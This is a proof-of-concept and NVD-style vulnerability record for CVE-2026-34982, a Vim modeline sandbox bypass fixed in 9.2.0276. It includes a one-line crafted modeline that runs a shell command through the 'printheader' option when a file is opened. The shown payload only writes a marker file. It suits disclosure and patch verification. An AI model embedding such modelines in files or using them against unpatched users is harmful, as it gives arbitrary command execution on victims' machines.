CVE-2026-34982

// PoC for CVE-2026-34982 // Create a file with the following line and open it with Vim < 9.2.0276 // This attempts to execute a system command via the 'printheader' option vim: set printheader=%{system('echo VULNERABLE > /tmp/cve-2026-34982-poc')}|

{"cve": {"id": "CVE-2026-34982", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:38.777", "lastModified": "2026-04-22T20:10:01.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vim is an open source, command line text editor. Prior to version 9.2.0276, a modeline sandbox bypass in Vim allows arbitrary OS command execution when a user opens a crafted file. The `complete`, `guitabtooltip` and `printheader` options are missing the `P_MLE` flag, allowing a modeline to be executed. Additionally, the `mapset()` function lacks a `check_secure()` call, allowing it to be abused from sandboxed expressions. Commit 9.2.0276 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.2.0276", "matchCriteriaId": "B64DB9F0-F10B-40FA-A094-9178E5991FFF"}]}]}], "references": [{"url": "https://github.com/vim/vim/commit/75661a66a1db1e1f3f1245c615", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/vim/vim/releases/tag/v9.2.0276", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/vim/vim/security/advisories/GHSA-8h6p-m6gr-mpw9", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/01/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Patch", "Third Party Advisory"]}]}}